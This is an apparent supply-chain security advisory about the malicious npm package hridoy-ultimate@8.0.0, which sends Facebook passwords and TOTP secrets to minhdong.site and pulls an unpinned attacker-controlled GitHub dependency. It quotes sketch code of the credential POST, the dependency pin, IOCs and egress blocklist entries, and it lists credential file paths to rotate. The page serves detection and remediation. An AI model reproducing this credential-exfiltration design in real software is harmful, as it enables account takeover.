# npm `hridoy-ultimate@8.0.0` ships Facebook email + password + TOTP 2FA secrets to `minhdong.site/api/v1/facebook/login_ios` and pins its `fca-unofficial` dep at `VangBanLaNhat/fca-unofficial#HEAD`

> `hridoy-ultimate@8.0.0` on npm advertises as an "unofficial Facebook chat client", but `module/loginHelper.js` posts the caller-supplied FB email, password, AND TOTP 2FA secret to `minhdong.site/api/v1/facebook/login_ios`, and the package pins its `fca-unofficial` dependency to a bare `VangBanLaNhat/fca-unofficial` GitHub repo (no SHA, no tag) so the attacker can swap install-time code at will. GHSA-8chm-j6jp-f4h3 / MAL-2026-17803, published 2026-10-11.

- Published: 2026-10-12
- Severity: high
- Kind: Malicious package - A package that was malicious from its first publish under its own name - a fake tool, a lure used in a social-engineering campaign, or a trojanised utility - rather than a copy of an existing name.
- Ecosystems: npm
- Scope: 1 package, 1 compromised version
- Tags: credential-theft, account-takeover, infostealer
- Also known as: hridoy-ultimate FB password + TOTP exfil, minhdong.site Facebook credential sink
- Detected by: OpenSSF malicious-packages, Amazon Inspector, GitHub Advisory Database
- Incident ID: npm-2026-10-12-hridoy-ultimate-fb-credential-stealer

## Affected packages (1)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [hridoy-ultimate](https://dependencywatch.io/package/npm/hridoy-ultimate) | npm | 8.0.0 |

## What happened

Published to npm as `hridoy-ultimate@8.0.0`, flagged by Amazon Inspector`s IN-MAL feed, surfaced to the OpenSSF `malicious-packages` repository as MAL-2026-17803, and published to the GitHub Advisory Database on 2026-10-11 as GHSA-8chm-j6jp-f4h3 with weakness class CWE-506 (Embedded Malicious Code).

## The lure

The package markets itself as an unofficial Facebook chat client (part of the long-running `fca-unofficial` family). Its README advertises **password + TOTP login** as a feature - "no app-passwords, no OAuth, just email, password and 2FA" - which is precisely the credential set the exfiltration path captures.

## The payload

Two install-time and run-time behaviours.

### 1. Credential POST on login

```
module/loginHelper.js
  function loginIOS({email, password, totpSecret}) {
    POST https://minhdong.site/api/v1/facebook/login_ios
      body: { email, password, totpSecret, ...}
    -> returns {cookies, access_token}
  }
```

The sink endpoint`s default lives in `module/config.js` and the README does not disclose that credentials leave the local process. The server`s response is passed back as if the library had talked to Facebook directly, which hides the exfiltration from any caller that only inspects return values.

The TOTP SECRET is in the request body, not just a TOTP CODE. A TOTP code expires in 30 s; a TOTP secret regenerates valid codes indefinitely, so the operator keeps 2FA access on the hijacked account until the user manually disables and re-enables TOTP from a different device.

### 2. GitHub `HEAD`-pinned dependency

```
package.json
  "dependencies": {
    "fca-unofficial": "github:VangBanLaNhat/fca-unofficial"
  }
```

No commit SHA, no tag. `npm install` fetches whatever `HEAD` of `github.com/VangBanLaNhat/fca-unofficial` currently points at and runs its lifecycle scripts. The vendor bundle under `src/api/socket/e2ee/` `require()`s that module at runtime, so a force-push to the attacker`s GitHub repo rotates the code that runs inside anyone`s build.

### 3. Dormant WebSocket RAT

`src/remote/remoteClient.js` opens a WebSocket to a URL in `config.js`. In the shipped `8.0.0`, the receive handler stores messages but does not `eval` them, so this is dormant for anyone who does not flip the config. It is an upgrade path, not an active channel.

## IOCs

- host: `minhdong.site` (sink apex)
- url: `https://minhdong.site/api/v1/facebook/login_ios` (exact credential-POST path)
- github: `github.com/VangBanLaNhat/fca-unofficial` (unpinned transitive)
- files: `module/loginHelper.js`, `module/config.js`, `src/api/socket/e2ee/`, `src/remote/remoteClient.js`
- source hash (Amazon Inspector): `221c8e51e1341e954c4f2ea3ea4a139606138c8ecc1ab99e17f403e304f05157`

## Classification

`malicious-package` (first-publish under its own name, impersonating no specific legitimate upstream but trading on the `fca-unofficial` family brand). `high` - confirmed credential-stealing primitive against a real target product (Facebook accounts with 2FA), with a working downstream reach (anyone building on this library), but the operator does not get code execution on arbitrary installer hosts unless a downstream app enables the WebSocket RAT.

## Discovery

`OpenSSF malicious-packages`, `Amazon Inspector`. Advisory published to GitHub Advisory Database on 2026-10-11.

## Impact

- **Credential exfiltration primitive (not install-time)**: unlike a typical dep-confusion postinstall probe, this package`s malicious behaviour fires only when a developer BUILDS an app on top of it and that app invokes the password login path. `module/loginHelper.js` takes the caller-supplied `{email, password, totpSecret}` triple, formats a request body, and POSTs it to `https://minhdong.site/api/v1/facebook/login_ios` whose default endpoint is set in `module/config.js`. The attacker`s server then replies with session cookies or an access token - which the library returns to the caller as if they came from Facebook. **This gives the operator both the raw credentials AND a working session**: they can log into the victim`s Facebook account, read messages, impersonate the user, dismiss sign-in alerts, pivot to linked WhatsApp Business accounts, and raid any Meta Business Manager access the account carries
- **TOTP 2FA secret is included in the exfiltration body** - not just a one-shot TOTP code. A 2FA secret can regenerate TOTP codes indefinitely until the user resets 2FA. In practice this means the FB 2FA on the account is **also owned** by the attacker for as long as the secret remains unchanged, and any "account recovery" that keeps the same secret does not expel the attacker
- **Supply-chain second-stage via unpinned GitHub dep**: `package.json` declares `"fca-unofficial": "github:VangBanLaNhat/fca-unofficial"` (no `#<sha>` and no `#<tag>`). `npm install` fetches the current `HEAD` of that attacker-controlled repo and runs its lifecycle scripts. The vendor bundle under `src/api/socket/e2ee/` `require()`s that module during normal use, so there is a loaded-at-runtime second channel the operator can hot-swap by force-pushing to `VangBanLaNhat/fca-unofficial`. Install integrity hashes do not protect against this because the resolver pins to the git ref, not the tree
- **Opt-in WebSocket remote-control sidecar**: `src/remote/remoteClient.js` is a config-gated WebSocket client - with the right config it keeps a persistent connection to the operator and emits events on receive, though in `8.0.0` the handler does not itself execute received data. If a downstream app enables it with the operator`s URL in `config.js`, the package becomes a full RAT. This is dormant unless the config is flipped
- **Victim profile and reach**: anyone building a bot or chat-automation tool on `hridoy-ultimate@8.0.0` whose end users log in with Facebook email+password+2FA. The package`s own README positions it as a successor to the long-infamous `fca-unofficial` family and advertises "token-free" ("just use email + password + 2FA") login, which is the exact scenario the exfiltration path depends on. Any CI that happens to run the login path against a honeypot account will leak that account`s credentials and a working session cookie

## What to do

1. `grep -nE "hridoy-ultimate" package.json package-lock.json yarn.lock pnpm-lock.yaml .npmrc` across every repo. **On any hit, assume every Facebook, Instagram, WhatsApp Business, and Meta Business Manager credential your users or you logged in with through this library is in operator hands** - rotate those passwords, disable then re-enable TOTP 2FA so a fresh secret is generated, revoke every active session on `facebook.com/settings/active-sessions`, and audit "Business Manager" and "Business Portfolio" admin logs for operator access
2. `grep -nE "VangBanLaNhat/fca-unofficial" package.json package-lock.json` for the direct bare-repo-pin anti-pattern. On any hit (direct or transitive through `hridoy-ultimate`), the attacker`s `fca-unofficial` fork has been installed and its lifecycle scripts have run. Treat the installing host as compromised. Any secret the Node runtime could reach - `~/.aws/credentials`, `~/.ssh/*`, `~/.npmrc` auth tokens, GitHub PATs in `~/.config/gh/`, env vars named `*_TOKEN` / `*_SECRET` / `*_KEY` / `AUTH*` / `npm_*` - should be rotated
3. **Egress blocklist additions** for build hosts, bot runners, and corporate egress proxies: deny outbound HTTPS to the apex `minhdong.site` and to `github.com/VangBanLaNhat/fca-unofficial` (GitHub blocking at that path alone is proxy-dependent; blocking the user `VangBanLaNhat` on GitHub Enterprise is often simpler). For CI, enforce dependency pinning with `--frozen-lockfile` and reject any `package.json` whose dependency spec is a bare GitHub repo without a `#<sha>` or `#<tag>`
4. **Downstream signal**: if your product uses `hridoy-ultimate`'s "token-free" Facebook login as a convenience path for end users, remove it immediately. There is no safe way to pass a Facebook password through a third-party library that controls its own HTTP sink. The replacement is Facebook Login OAuth with the real `/dialog/oauth` flow (user types the password only on `facebook.com`) or Graph API usage with user-issued long-lived tokens
5. **Developer education**: Facebook `fca-unofficial` family libraries have been abuse magnets for years (Facebook has repeatedly tried to block them, maintainers hand over control, forks appear on GitHub without npm presence). The ecosystem norm "it`s unofficial so pin the GitHub repo" is exactly what today`s compromise exploits. Any npm package in the chat-automation space that pins its core dependency to a bare GitHub repo and asks for raw password + TOTP secret is **structurally hostile** regardless of the current maintainer`s intent

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GHSA-8chm-j6jp-f4h3 - npm hridoy-ultimate@8.0.0 (full advisory)](https://github.com/advisories/GHSA-8chm-j6jp-f4h3) - GitHub
- [OSSF malicious-packages MAL-2026-17803 raw OSV record (hridoy-ultimate IOCs)](https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hridoy-ultimate/MAL-2026-17803.json) - OpenSSF
- [npm registry page for hridoy-ultimate](https://www.npmjs.com/package/hridoy-ultimate) - npm

---

Canonical page: https://dependencywatch.io/incident/npm-2026-10-12-hridoy-ultimate-fb-credential-stealer
Markdown version: https://dependencywatch.io/incident/npm-2026-10-12-hridoy-ultimate-fb-credential-stealer.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).
